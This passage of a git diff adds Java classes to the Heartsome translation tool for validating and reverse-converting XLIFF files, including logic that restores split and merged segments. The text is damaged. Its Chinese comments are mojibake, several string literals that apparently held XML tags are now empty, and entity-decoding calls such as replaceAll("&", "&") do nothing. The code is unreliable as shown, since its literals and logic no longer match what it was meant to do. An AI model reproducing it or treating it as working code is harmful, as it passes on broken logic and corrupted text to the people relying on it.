} + + public String getName() { + return path.toFile().getName(); + } + + public IConversionItem getProject() { + return getParent(); + } + +} diff --git a/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/IConversionItem.java b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/IConversionItem.java new file mode 100644 index 0000000..4bdc694 --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/IConversionItem.java @@ -0,0 +1,42 @@ +package net.heartsome.cat.convert.ui.model; + +import org.eclipse.core.runtime.IPath; +import org.eclipse.core.runtime.jobs.ISchedulingRule; + +/** + * 转æ¢è¿‡ç¨‹ä¸­è¡¨ç¤ºæºã€ç›®æ ‡æˆ–骨架等的转æ¢é¡¹ç›®ï¼Œå…·ä½“的实现å¯ä»¥æ˜¯æ–‡ä»¶æˆ–其他形å¼ï¼Œå®šä¹‰æ­¤æŽ¥å£çš„ç›®çš„æ˜¯é€‚é… org.eclipse.core.resources 中 çš„ IFile 等接å£ï¼Œorg.eclipse.core.resources + * ä¸åŒ…å«åœ¨ RAP 目标平å°ä¸­ï¼Œä¸” org.eclipse.core.resources 的实现ä¸æ˜¯å¤šç”¨æˆ·çš„,所以ä¸å»ºè®®æŠŠ org.eclipse.core.resources åŠå…¶ä¾èµ–放到 RAP å¹³å°ä¸­ç›´æŽ¥ä½¿ç”¨ã€‚åŒæ—¶å®žçŽ° + * ISchedulingRule 接å£å®šä¹‰èµ„æºçš„访问规则。 + * @author cheney + */ +public interface IConversionItem extends ISchedulingRule { + + /** + * 刷新 conversion item ; + */ + void refresh(); + + /** + * @return 返回此转æ¢é¡¹ç›®çš„ä½ç½®; + */ + IPath getLocation(); + + /** + * 获得转æ¢é¡¹ç›®çš„父 + * @return ; + */ + IConversionItem getParent(); + + /** + * 获得转æ¢é¡¹ç›®æ‰€åœ¨çš„项目,如果转æ¢é¡¹ç›®ä¸åœ¨å·¥ä½œç©ºé—´ä¸­ï¼Œåˆ™ç›´æŽ¥è¿”回其上一层转æ¢é¡¹ç›® + * @return ; + */ + IConversionItem getProject(); + + /** + * 获得转æ¢é¡¹ç›®çš„å称 + * @return ; + */ + String getName(); + +} diff --git a/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ReverseConversionValidateWithLibrary3.java b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ReverseConversionValidateWithLibrary3.java new file mode 100644 index 0000000..77774cb --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ReverseConversionValidateWithLibrary3.java @@ -0,0 +1,787 @@ +package net.heartsome.cat.convert.ui.model; + +import java.io.File; +import java.io.FileOutputStream; +import java.io.IOException; +import java.text.MessageFormat; +import java.util.HashMap; +import java.util.Iterator; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; +import java.util.NavigableMap; +import java.util.TreeMap; +import java.util.Vector; + +import javax.xml.parsers.ParserConfigurationException; + +import net.heartsome.cat.common.resources.ResourceUtils; +import net.heartsome.cat.convert.ui.resource.Messages; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.xml.Catalogue; +import net.heartsome.xml.Document; +import net.heartsome.xml.Element; +import net.heartsome.xml.SAXBuilder; +import net.heartsome.xml.XMLOutputter; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.eclipse.core.databinding.validation.ValidationStatus; +import org.eclipse.core.resources.IFile; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Status; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.w3c.dom.Node; +import org.xml.sax.SAXException; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; +import com.ximpleware.XMLModifier; + +/** + * 使用 heartsome library 3 对文件的逆转æ¢è¿›è¡ŒéªŒè¯ + * @author cheney + * @since JDK1.6 + */ +public class ReverseConversionValidateWithLibrary3 implements ConversionValidateStrategy { + + private static final Logger LOGGER = LoggerFactory.getLogger(ReverseConversionValidateWithLibrary3.class); + + private SAXBuilder builder; + private Document doc; + private Element root; + private List segments = new Vector(); + // 从 xliff 文件的 file 节点获å–目标语言 + private String targetLanguage; + // 文件类型 + private String dataType; + + // 骨架文件路径 + private String skl; + + public IStatus validate(String path, ConversionConfigBean configuraion, IProgressMonitor monitor) { + long start = System.currentTimeMillis(); + LOGGER.info(Messages.getString("model.ReverseConversionValidateWithLibrary3.logger1"), start); + IStatus result = null; + monitor = Progress.getMonitor(monitor); + monitor.beginTask(Messages.getString("model.ReverseConversionValidateWithLibrary3.task1"), 4); + String xliffFile = path; + try { + if (monitor.isCanceled()) { + return Status.CANCEL_STATUS; + } + + long startTime = 0; + if (LOGGER.isInfoEnabled()) { + File temp = new File(xliffFile); + if (temp.exists()) { + LOGGER.info(Messages.getString("model.ReverseConversionValidateWithLibrary3.logger2"), temp.length()); + } + startTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("model.ReverseConversionValidateWithLibrary3.logger3"), startTime); + } + + // 验è¯æ‰€éœ€è¦è½¬æ¢çš„ xliff 文件 + readXliff(xliffFile); + monitor.worked(1); + + long endTime = 0; + if (LOGGER.isInfoEnabled()) { + endTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("model.ReverseConversionValidateWithLibrary3.logger4"), endTime); + LOGGER.info(Messages.getString("model.ReverseConversionValidateWithLibrary3.logger5"), (endTime - startTime)); + } + + if (monitor.isCanceled()) { + return Status.CANCEL_STATUS; + } + + if (LOGGER.isInfoEnabled()) { + startTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("model.ReverseConversionValidateWithLibrary3.logger6"), startTime); + } + // 获å–骨架文件路径 + skl = getSkeleton(path); + monitor.worked(1); + + if (LOGGER.isInfoEnabled()) { + endTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("model.ReverseConversionValidateWithLibrary3.logger7"), endTime); + LOGGER.info(Messages.getString("model.ReverseConversionValidateWithLibrary3.logger8"), (endTime - startTime)); + } + + if (skl != null && !skl.equals("")) { //$NON-NLS-1$ + File sklFile = new File(skl); + if (!sklFile.exists()) { + return ValidationStatus.error(Messages.getString("model.ReverseConversionValidateWithLibrary3.msg1")); + } + } + // 设置骨架文件的路径 + configuraion.setSkeleton(skl); + + if (monitor.isCanceled()) { + return Status.CANCEL_STATUS; + } + + if (LOGGER.isInfoEnabled()) { + startTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("model.ReverseConversionValidateWithLibrary3.logger9"), startTime); + } + + createList(root); + monitor.worked(1); + + if (LOGGER.isInfoEnabled()) { + endTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("model.ReverseConversionValidateWithLibrary3.logger10"), endTime); + LOGGER.info(Messages.getString("model.ReverseConversionValidateWithLibrary3.logger11"), (endTime - startTime)); + } + + if (monitor.isCanceled()) { + return Status.CANCEL_STATUS; + } + // TODO 确认为什么需è¦åˆ›å»ºä¸€ä¸ª xliff 文件副本,并需è¦ç¡®è®¤ä»€ä¹ˆæ—¶å€™åˆ é™¤æ­¤å‰¯æœ¬ + File tmpXLFFile = File.createTempFile("tmpXLF", ".hsxliff"); //$NON-NLS-1$ //$NON-NLS-2$ + reBuildXlf(xliffFile, tmpXLFFile); + configuraion.setTmpXlfPath(tmpXLFFile.getAbsolutePath()); + + // 设置文件类型 + configuraion.setFileType(dataType); + result = Status.OK_STATUS; + monitor.worked(1); + long end = System.currentTimeMillis(); + if (LOGGER.isInfoEnabled()) { + LOGGER.info(Messages.getString("model.ReverseConversionValidateWithLibrary3.logger12"), end); + LOGGER.info(Messages.getString("model.ReverseConversionValidateWithLibrary3.logger13"), (end - start)); + } + } catch (Exception e) { + // TODO 需è¦é’ˆå¯¹ä¸åŒçš„异常返回ä¸èƒ½çš„æç¤ºä¿¡æ¯ + String messagePattern = Messages.getString("model.ReverseConversionValidateWithLibrary3.msg2"); + String message = MessageFormat.format(messagePattern, new Object[] { xliffFile }); + LOGGER.error(message, e); + result = ValidationStatus.error(Messages.getString("model.ReverseConversionValidateWithLibrary3.msg3"), e); + } finally { + if (segments != null) { + segments = null; + } + if (root != null) { + root = null; + } + if (doc != null) { + doc = null; + } + if (builder != null) { + builder = null; + } + monitor.done(); + } + + return result; + } + + /** + * @param xliff + *  xliff 文件的路径 + * @throws ParserConfigurationException + * @throws IOException + * @throws SAXException + */ + private void readXliff(String xliff) throws SAXException, IOException, ParserConfigurationException { + builder = new SAXBuilder(); + builder.setEntityResolver(new Catalogue(ConverterContext.catalogue)); + doc = builder.build(xliff); + root = doc.getRootElement(); + Element file = root.getChild("file"); //$NON-NLS-1$ + dataType = file.getAttributeValue("datatype"); //$NON-NLS-1$ + targetLanguage = file.getAttributeValue("target-language", Messages.getString("model.ReverseConversionValidateWithLibrary3.msg4")); //$NON-NLS-1$ //$NON-NLS-2$ + } + + /** + * 构建 xliff 文件副本 + * @param tmpXLFFile + * @throws IOException + * ; + */ + private void reBuildXlf(File tmpXLFFile) throws IOException { + long startTime = 0; + if (LOGGER.isInfoEnabled()) { + startTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("model.ReverseConversionValidateWithLibrary3.logger14"), startTime); + } + for (int i = 0, size = segments.size() - 1; i < size; i++) { + Element e = segments.get(i); + Element src = e.getChild("source"); //$NON-NLS-1$ + Element tgt = e.getChild("target"); //$NON-NLS-1$ + + boolean isApproved = e.getAttributeValue("approved", "no").equalsIgnoreCase("yes"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + + List srcList = src.getContent(); + Vector tmp = new Vector(); + for (int j = 0, jSize = srcList.size(); j < jSize; j++) { + Node o = srcList.get(j); + if (o.getNodeType() == Node.ELEMENT_NODE && o.getNodeName().equals("ph")) { //$NON-NLS-1$ + Element el = new Element(o); + if (el.getAttributeValue("id", "").startsWith("hs-merge")) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + String tmpMergeId = el.getAttributeValue("id", "").substring(8); //$NON-NLS-1$ //$NON-NLS-2$ + String[] pairId = tmpMergeId.split("~"); //$NON-NLS-1$ + srcList.remove(j); + j--; + jSize--; + + int idIndex = pairId[0].indexOf("-"); //$NON-NLS-1$ + if (idIndex != -1) { + pairId[0] = pairId[0].substring(0, idIndex); + } + + idIndex = pairId[1].indexOf("-"); //$NON-NLS-1$ + if (idIndex != -1) { + pairId[1] = pairId[1].substring(0, idIndex); + } + + if (!pairId[0].equals(pairId[1])) { + pairId = null; + break; + } + pairId = null; + } else { + srcList.remove(j); + j--; + jSize--; + tmp.add(o); + } + } else { + srcList.remove(j); + j--; + jSize--; + tmp.add(o); + } + } + + src.removeAllChildren(); + src.setContent(tmp); + tmp = null; + + if (tgt == null) { + tgt = new Element("target", doc); //$NON-NLS-1$ + tgt.setAttribute(Messages.getString("model.ReverseConversionValidateWithLibrary3.msg5"), targetLanguage); //$NON-NLS-1$ + tgt.setAttribute("state", "new"); //$NON-NLS-1$ //$NON-NLS-2$ + List content = e.getChildren(); + Vector newContent = new Vector(); + for (int m = 0; m < content.size(); m++) { + Element tmpEl = content.get(m); + newContent.add(tmpEl); + if (tmpEl.getName().equals("source")) { //$NON-NLS-1$ + newContent.add(tgt); + } + tmpEl = null; + } + e.setContent(newContent); + newContent = null; + content = null; + } + + List tgtList = tgt.getContent(); + tmp = new Vector(); + + for (int j = 0, jSize = tgtList.size(); j < jSize; j++) { + Node o = tgtList.get(j); + if (o.getNodeType() == Node.ELEMENT_NODE && o.getNodeName().equals("ph")) { //$NON-NLS-1$ + Element el = new Element(o); + if (el.getAttributeValue("id", "").startsWith("hs-merge")) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + String tmpMergeId = el.getAttributeValue("id", "").substring(8); //$NON-NLS-1$ //$NON-NLS-2$ + String[] pairId = tmpMergeId.split("~"); //$NON-NLS-1$ + tgtList.remove(j); + j--; + jSize--; + int idIndex = pairId[0].indexOf("-"); //$NON-NLS-1$ + if (idIndex != -1) { + pairId[0] = pairId[0].substring(0, idIndex); + } + + idIndex = pairId[1].indexOf("-"); //$NON-NLS-1$ + if (idIndex != -1) { + pairId[1] = pairId[1].substring(0, idIndex); + } + if (!pairId[0].equals(pairId[1])) { + pairId = null; + break; + } + pairId = null; + } else { + tgtList.remove(j); + j--; + jSize--; + tmp.add(o); + } + el = null; + } else { + tgtList.remove(j); + j--; + jSize--; + tmp.add(o); + } + } + + tgt.removeAllChildren(); + tgt.setContent(tmp); + tmp = null; + + Element nextEl = segments.get(i + 1); + if (!isApproved && srcList.size() > 0) { + nextEl.setAttribute("approved", "no"); //$NON-NLS-1$ //$NON-NLS-2$ + } + + Element nextSrc = nextEl.getChild("source"); //$NON-NLS-1$ + Element nextTgt = nextEl.getChild("target"); //$NON-NLS-1$ + + if (nextTgt == null) { + nextTgt = new Element("target", doc); //$NON-NLS-1$ + nextTgt.setAttribute("xml:lang", targetLanguage); //$NON-NLS-1$ + nextTgt.setAttribute("state", "new"); //$NON-NLS-1$ //$NON-NLS-2$ + List content = nextEl.getChildren(); + Vector newContent = new Vector(); + for (int m = 0; m < content.size(); m++) { + Element tmpEl = content.get(m); + newContent.add(tmpEl); + if (tmpEl.getName().equals("source")) { //$NON-NLS-1$ + newContent.add(nextTgt); + } + tmpEl = null; + } + nextEl.setContent(newContent); + newContent = null; + content = null; + } + + List nextSrcContent = nextSrc.getContent(); + List nextTgtContent = nextTgt.getContent(); + + nextSrc.removeAllChildren(); + Vector newNextSrcContent = new Vector(); + newNextSrcContent.addAll(srcList); + for (int j = 0, jSize = nextSrcContent.size(); j < jSize; j++) { + newNextSrcContent.add(nextSrcContent.get(j)); + } + nextSrc.setContent(newNextSrcContent); + newNextSrcContent = null; + + nextTgt.removeAllChildren(); + Vector newNextTgtContent = new Vector(); + newNextTgtContent.addAll(tgtList); + for (int j = 0, jSize = nextTgtContent.size(); j < jSize; j++) { + newNextTgtContent.add(nextTgtContent.get(j)); + } + nextTgt.setContent(newNextTgtContent); + newNextTgtContent = null; + } + + long endTime = 0; + if (LOGGER.isInfoEnabled()) { + endTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("model.ReverseConversionValidateWithLibrary3.logger15"), endTime); + LOGGER.info(Messages.getString("model.ReverseConversionValidateWithLibrary3.logger16"), (endTime - startTime)); + } + + XMLOutputter outputter = new XMLOutputter(); + outputter.preserveSpace(true); + + FileOutputStream out; + out = new FileOutputStream(tmpXLFFile); + + if (LOGGER.isInfoEnabled()) { + startTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("model.ReverseConversionValidateWithLibrary3.logger17"), startTime); + } + + outputter.output(doc, out); + + if (LOGGER.isInfoEnabled()) { + endTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("model.ReverseConversionValidateWithLibrary3.logger18"), endTime); + LOGGER.info(Messages.getString("model.ReverseConversionValidateWithLibrary3.logger19"), (endTime - startTime)); + } + + out.close(); + outputter = null; + } + + + /** + *
    代替上é¢çš„ reBuildXlf 方法
    + * å°†è¦é€†è½¬æ¢çš„ hsxliff 文件生æˆä¸´æ—¶æ–‡ä»¶ï¼Œå†å°†è¿™ä¸ªä¸´æ—¶æ–‡ä»¶è¿›è¡Œå¤„ç†ï¼Œæ¯”å¦‚å°†åˆ†å‰²çš„æ–‡æœ¬æ®µæ‹†åˆ†å¼€æ¥ robert 2012-11-28 + * @param tmpXLFFile + */ + private void reBuildXlf(String xliffPath, File tmpXLFFile) { + //先将所有åˆå¹¶çš„文本段进行æ¢å¤æˆåŽŸæ¥çš„æ ·å­ + try { + ResourceUtils.copyFile(new File(xliffPath), tmpXLFFile); + VTDGen vg = new VTDGen(); + if (!vg.parseFile(xliffPath, true)) { + LOGGER.error(MessageFormat.format("{0} parse error!", xliffPath)); + return; + } + VTDNav vn = vg.getNav(); + + AutoPilot ap = new AutoPilot(vn); + AutoPilot childAP = new AutoPilot(vn); + ap.declareXPathNameSpace("hs", "http://www.heartsome.net.cn/2008/XLFExtension"); + childAP.declareXPathNameSpace("hs", "http://www.heartsome.net.cn/2008/XLFExtension"); + + VTDUtils vu = new VTDUtils(vn); + XMLModifier xm = new XMLModifier(vn); + + // 先找出所有的分割与åˆå¹¶ä¿¡æ¯ï¼Œå†ä¾åºåˆ—å·ä»Žé«˜åˆ°ä½Žä¾æ¬¡åˆ†è§£ï¼Œåˆå¹¶ä¿¡æ¯æ˜¯ è¿™ç§æ ‡è®° + NavigableMap infoMap = new TreeMap(); + ap.selectXPath("/xliff/file/body/descendant::node()" + + "[(name()='group' and @ts='hs-split') or (name()='ph' and contains(@id, 'hs-merge'))]"); + int idx = -1; + while(ap.evalXPath() != -1){ + String nodeName = vn.toString(vn.getCurrentIndex()); + long index = -1; + if ((idx = vn.getAttrVal("splitMergeIndex")) != -1) { + index = Long.parseLong(vn.toString(idx)); + } + boolean isMerge = false; + // 如果是 ph 节点,那么这个就是åˆå¹¶ä¿¡æ¯ + if ("ph".equals(nodeName)) { + isMerge = true; + String phFrag = vu.getElementFragment(); + String phID = vn.toString(vn.getAttrVal("id")); + String[] tuIds = vn.toString(vn.getAttrVal("id")).replace("hs-merge", "").split("~"); + String mergeFirstId = tuIds[0].trim(); + String mergeSecondId = tuIds[1].trim(); + System.out.println("mergeFirstId = " + mergeFirstId); + System.out.println("mergeSecondId = " + mergeSecondId); + infoMap.put(index, new SegMergeInfoBean(isMerge, phFrag, phID, mergeFirstId, mergeSecondId)); + }else { + infoMap.put(index, new SegMergeInfoBean(isMerge)); + } + } + + for(Entry entry : infoMap.descendingMap().entrySet()){ + Long index = entry.getKey(); + SegMergeInfoBean bean = entry.getValue(); + + if (bean.isMerge()) { + resetMerge(ap, vn, vu, xm, index, bean); + }else { + resetSplit(ap, childAP, vn, vu, xm, index); + } + vn = xm.outputAndReparse(); + xm.bind(vn); + ap.bind(vn); + childAP.bind(vn); + vu.bind(vn); + } + xm.output(tmpXLFFile.getAbsolutePath()); + }catch (Exception e) { + e.printStackTrace(); + } + } + + /** + * 创建翻译节点列表 + * @param rootPara + * ; + */ + private void createList(Element rootPara) { + List files = rootPara.getChildren(); + Iterator it = files.iterator(); + while (it.hasNext()) { + Element el = it.next(); + if (el.getName().equals("trans-unit")) { //$NON-NLS-1$ + segments.add(el); + } else { + createList(el); + } + } + } + + /** + * 获å–骨架文件 + * @return 骨架文件路径 + * @throws IOException + * 在读å–骨架文件失败时抛出 IO 异常 ; + */ + private String getSkeleton(String xlfPath) throws IOException { + String result = ""; //$NON-NLS-1$ + Element file = root.getChild("file"); //$NON-NLS-1$ + Element header = null; + String encoding = ""; + + if (file != null) { + header = file.getChild("header"); //$NON-NLS-1$ + if (header != null) { + + // 添加æºæ–‡ä»¶ç¼–ç çš„è¯»å– + List propGroups = header.getChildren("hs:prop-group"); //$NON-NLS-1$ + for (int i = 0; i < propGroups.size(); i++) { + Element prop = propGroups.get(i); + if (prop.getAttributeValue("name").equals("encoding")) { //$NON-NLS-1$ //$NON-NLS-2$ + encoding = prop.getText().trim(); + break; + } + } + if (encoding.equals("utf-8")) { //$NON-NLS-1$ + encoding = "UTF-8"; //$NON-NLS-1$ + } + + Element mskl = header.getChild("skl"); //$NON-NLS-1$ + if (mskl != null) { + Element external = mskl.getChild("external-file"); //$NON-NLS-1$ + IFile xlfIfile = ConverterUtil.localPath2IFile(xlfPath); + if (external != null) { + result = external.getAttributeValue("href"); //$NON-NLS-1$ + result = result.replaceAll("&", "&"); //$NON-NLS-1$ //$NON-NLS-2$ + result = result.replaceAll("<", "<"); //$NON-NLS-1$ //$NON-NLS-2$ + result = result.replaceAll(">", ">"); //$NON-NLS-1$ //$NON-NLS-2$ + result = result.replaceAll("'", "\'"); //$NON-NLS-1$ //$NON-NLS-2$ + result = result.replaceAll(""", "\""); //$NON-NLS-1$ //$NON-NLS-2$ + + result = xlfIfile.getProject().getLocation().toOSString()+result; + } else { + Element internal = mskl.getChild("internal-file"); //$NON-NLS-1$ + if (internal != null) { + File tmp = File.createTempFile("internal", ".skl", new File(xlfIfile.getProject().getWorkspace().getRoot().getLocation().toOSString())); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + tmp.deleteOnExit(); + FileOutputStream out = new FileOutputStream(tmp); + List content = internal.getContent(); + for (int i = 0; i < content.size(); i++) { + Node n = content.get(i); + if (n.getNodeType() == Node.TEXT_NODE) { + out.write(n.getNodeValue().getBytes(encoding)); + } else if (n.getNodeType() == Node.CDATA_SECTION_NODE) { + // fixed bub 515 by john. + String cdataString = n.getNodeValue(); + if (cdataString.endsWith("]]")) { //$NON-NLS-1$ + cdataString += ">"; //$NON-NLS-1$ + } + out.write(cdataString.getBytes()); + } + } + out.close(); + return tmp.getAbsolutePath(); + } + return result; + } + external = null; + mskl = null; + } else { + return result; + } + } else { + return result; + } + } else { + return result; + } + + if (encoding != null) { + if (encoding.equals("")) { //$NON-NLS-1$ + List groups = header.getChildren("hs:prop-group"); //$NON-NLS-1$ + for (int i = 0; i < groups.size(); i++) { + Element group = groups.get(i); + List props = group.getChildren("hs:prop"); //$NON-NLS-1$ + for (int k = 0; k < props.size(); k++) { + Element prop = props.get(k); + if (prop.getAttributeValue("prop-type", "").equals("encoding")) { //$NON-NLS-1$ + encoding = prop.getText(); + } + } + } + } + } + header = null; + file = null; + return result; + } + + private void resetMerge(AutoPilot ap, VTDNav vn, VTDUtils vu, XMLModifier xm, Long index, SegMergeInfoBean bean) throws Exception{ + String phFrag = bean.getPhFrag(); + String phID = bean.getPhID(); + String firstId = bean.getMergeFirstId(); + String secondId = bean.getMergeSecondId(); + + String xpath = "/xliff/file/body/descendant::trans-unit/source[ph[@id='" + phID + "' and @splitMergeIndex='" + index + "']]"; + ap.selectXPath(xpath); + if (ap.evalXPath() != -1) { + String srcHeader = vu.getElementHead(); + String srcContent = vu.getElementContent(); + + String curContent = srcContent.substring(0, srcContent.indexOf(phFrag)); + String otherSrcContent = srcContent.substring(srcContent.indexOf(phFrag) + phFrag.length(), srcContent.length()); + String curSrcFrag = srcHeader + curContent + ""; + xm.remove(); + xm.insertAfterElement(curSrcFrag.getBytes("UTF-8")); + + setDataToOtherTU(vn, xm, true, secondId, otherSrcContent); + + System.out.println("-------------"); + System.out.println(curContent); + System.out.println(otherSrcContent); + } + vn.pop(); + + //处ç†è¯‘æ–‡ + xpath = "/xliff/file/body/descendant::trans-unit/target[ph[@id='" + phID + "' and @splitMergeIndex='" + index + "']]"; + ap.selectXPath(xpath); + if (ap.evalXPath() != -1) { + String tgtHeader = vu.getElementHead(); + String tgtContent = vu.getElementContent(); + + //处ç†åˆå¹¶æ ‡è¯†ç¬¦åœ¨ g 标记内的情况,而æºæ–‡ä¸­æœªå¤„ç†çš„主è¦åŽŸå› æ˜¯å› ä¸ºåœ¨æºæ–‡ä¸­ï¼Œåˆå¹¶æ ‡è¯†ç¬¦æ˜¯è‡ªåŠ¨ç”Ÿæˆï¼Œä¸”用户ä¸èƒ½è°ƒåŠ¨å…¶ä½ç½®ï¼Œæ•…而未åšå¤„ç†ã€‚ + int spltOffset = tgtContent.indexOf(phFrag); + List> tagLocationList = getTagLocation(vn, tgtContent); + String srcAddStr1 = ""; + String srcAddStr2 = ""; + for (Map map : tagLocationList) { + String tagHeader = map.get("tagHeader"); + String tagTail = map.get("tagTail"); + int headerIdx = Integer.parseInt(map.get("headerIdx")); + int tailIdx = Integer.parseInt(map.get("tailIdx")); + if (headerIdx < spltOffset && spltOffset <= tailIdx) { + srcAddStr1 = tagTail + srcAddStr1; + srcAddStr2 += tagHeader; + } + } + + String tgtFragment1 = tgtHeader + tgtContent.substring(0, spltOffset) + srcAddStr1 + ""; + + String otherTgtContent = srcAddStr2 + tgtContent.substring(spltOffset + phFrag.length()); + xm.remove(); + xm.insertAfterElement(tgtFragment1.getBytes("UTF-8")); + + setDataToOtherTU(vn, xm, false, secondId, otherTgtContent); + + } + vn.pop(); + } + + private void resetSplit(AutoPilot ap, AutoPilot childAP, VTDNav vn, VTDUtils vu, XMLModifier xm, Long index) throws Exception { + String xpath = "/xliff/file/body/descendant::group[not(descendant::node()[name()='group']) and @ts='hs-split' and @splitMergeIndex='" + index + "']"; + ap.selectXPath(xpath); + if (ap.evalXPath() != -1) { + String id = vn.toString(vn.getAttrVal("id")); + + StringBuffer newSrcFragSB = new StringBuffer(); + StringBuffer newTgtFragSB = new StringBuffer(); + + // 先组装æºæ–‡ + vn.push(); + boolean addHeader = false; + childAP.selectXPath("./trans-unit/source"); + while(childAP.evalXPath() != -1){ + if (!addHeader) { + newSrcFragSB.append(vu.getElementHead() == null ? "" : vu.getElementHead()); + addHeader = true; + } + newSrcFragSB.append(vu.getElementContent() == null ? "" : vu.getElementContent()); + } + if (newSrcFragSB.length() == 0) { + newSrcFragSB = new StringBuffer(""); + }else { + newSrcFragSB.append(""); + } + vn.pop(); + + // å†ç»„装译文 + vn.push(); + addHeader = false; + childAP.selectXPath("./trans-unit/target"); + while(childAP.evalXPath() != -1){ + if (!addHeader) { + newTgtFragSB.append(vu.getElementHead() == null ? "" : vu.getElementHead()); + addHeader = true; + } + newTgtFragSB.append(vu.getElementContent() == null ? "" : vu.getElementContent()); + } + if (newTgtFragSB.length() == 0) { + newTgtFragSB = new StringBuffer(""); + }else { + newTgtFragSB.append(""); + } + vn.pop(); + + StringBuffer newTUFrag = new StringBuffer(); + newTUFrag.append(""); + newTUFrag.append(newSrcFragSB); + newTUFrag.append(newTgtFragSB); + newTUFrag.append(""); + + xm.remove(); + xm.insertAfterElement(newTUFrag.toString().getBytes("UTF-8")); + } + } + + /** + * å‘被åˆå¹¶çš„空的 tu 中填充值 + * @param vn + * @param xm + * @param isSrc + * @param secondId + * @param otherContent + * @throws Exception + */ + private void setDataToOtherTU(VTDNav vn, XMLModifier xm, boolean isSrc, String secondId, String otherContent) throws Exception { + if (otherContent == null || otherContent.length() <= 0) { + return; + } + vn.push(); + AutoPilot ap = new AutoPilot(vn); + String xpath = "/xliff/file/body/descendant::trans-unit[@id='" + secondId + "']" + + (isSrc ? "/source" : "/target"); + ap.selectXPath(xpath); + if (ap.evalXPath() != -1) { + xm.insertAfterHead(otherContent.getBytes("UTF-8")); + } + vn.pop(); + } + + + /** + *
    备注:该方法是从 XLFHandler 类中拷è´çš„。
    + * 获å–æ¯ä¸ªæ ‡è®° header 与 tail 在文本中的 index,此方法主è¦é’ˆå¯¹æ–‡æœ¬æ®µåˆ†å‰²ï¼Œåˆ†å‰²ç‚¹åœ¨gã€mrk标记里é¢ã€‚robert 2012-11-15 + * @param vn + */ + private List> getTagLocation(VTDNav vn, String srcContent){ + List> tagLoctionList = new LinkedList>(); + + vn.push(); + AutoPilot ap = new AutoPilot(vn); + String xpath = "./descendant::node()"; + + try { + VTDUtils vu = new VTDUtils(vn); + ap.selectXPath(xpath); + int lastIdx = 0; + while(ap.evalXPath() != -1){ + Map tagLocationMap = new HashMap(); + + String tagName = vn.toString(vn.getCurrentIndex()); + if (!("g".equals(tagName) || "mrk".equals(tagName))) { + continue; + } + String tagHeader = vu.getElementHead(); + String tagTail = vu.getElementFragment().replace(tagHeader, "").replace(vu.getElementContent(), ""); + int headerIdx = srcContent.indexOf(tagHeader, lastIdx); + int tailIdx = headerIdx + tagHeader.length() + vu.getElementContent().length(); + lastIdx = headerIdx; + + tagLocationMap.put("tagHeader", tagHeader); + tagLocationMap.put("tagTail", tagTail); + tagLocationMap.put("headerIdx", "" + headerIdx); + tagLocationMap.put("tailIdx", "" + tailIdx); + + tagLoctionList.add(tagLocationMap); + } + } catch (Exception e) { + e.printStackTrace(); + } + + vn.pop(); + return tagLoctionList; + } +} diff --git a/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/SegMergeInfoBean.java b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/SegMergeInfoBean.java new file mode 100644 index 0000000..701ca52 --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/SegMergeInfoBean.java @@ -0,0 +1,61 @@ +package net.heartsome.cat.convert.ui.model; + + +/** + * 文本段分割与åˆå¹¶ä¿¡æ¯çš„pojo类,此类主è¦ç”¨äºŽåœ¨é€†è½¬æ¢æ—¶ï¼Œå°†åˆ†å‰²ä¸Žåˆå¹¶åŽçš„文件进行相关处ç†æ—¶çš„æ•°æ®å•å…ƒ + * @author robert 2012-11-29 + */ +public class SegMergeInfoBean { + /** 当å‰ä¿¡æ¯æ˜¯å¦æ˜¯å±žäºŽåˆå¹¶çš„ */ + private boolean isMerge; + private String phFrag; + private String phID; + private String mergeFirstId; + private String mergeSecondId; + + public SegMergeInfoBean(boolean isMerge){ + this.isMerge = isMerge; + } + + public SegMergeInfoBean(boolean isMerge, String phFrag, String phID, String mergeFirstId, String mergeSecondId){ + this.isMerge = isMerge; + this.phFrag = phFrag; + this.phID = phID; + this.mergeFirstId = mergeFirstId; + this.mergeSecondId = mergeSecondId; + } + + public boolean isMerge() { + return isMerge; + } + public void setMerge(boolean isMerge) { + this.isMerge = isMerge; + } + public String getPhFrag() { + return phFrag; + } + public void setPhFrag(String phFrag) { + this.phFrag = phFrag; + } + public String getPhID() { + return phID; + } + public void setPhID(String phID) { + this.phID = phID; + } + public String getMergeFirstId() { + return mergeFirstId; + } + public void setMergeFirstId(String mergeFirstId) { + this.mergeFirstId = mergeFirstId; + } + public String getMergeSecondId() { + return mergeSecondId; + } + public void setMergeSecondId(String mergeSecondId) { + this.mergeSecondId = mergeSecondId; + } + + + +} diff --git 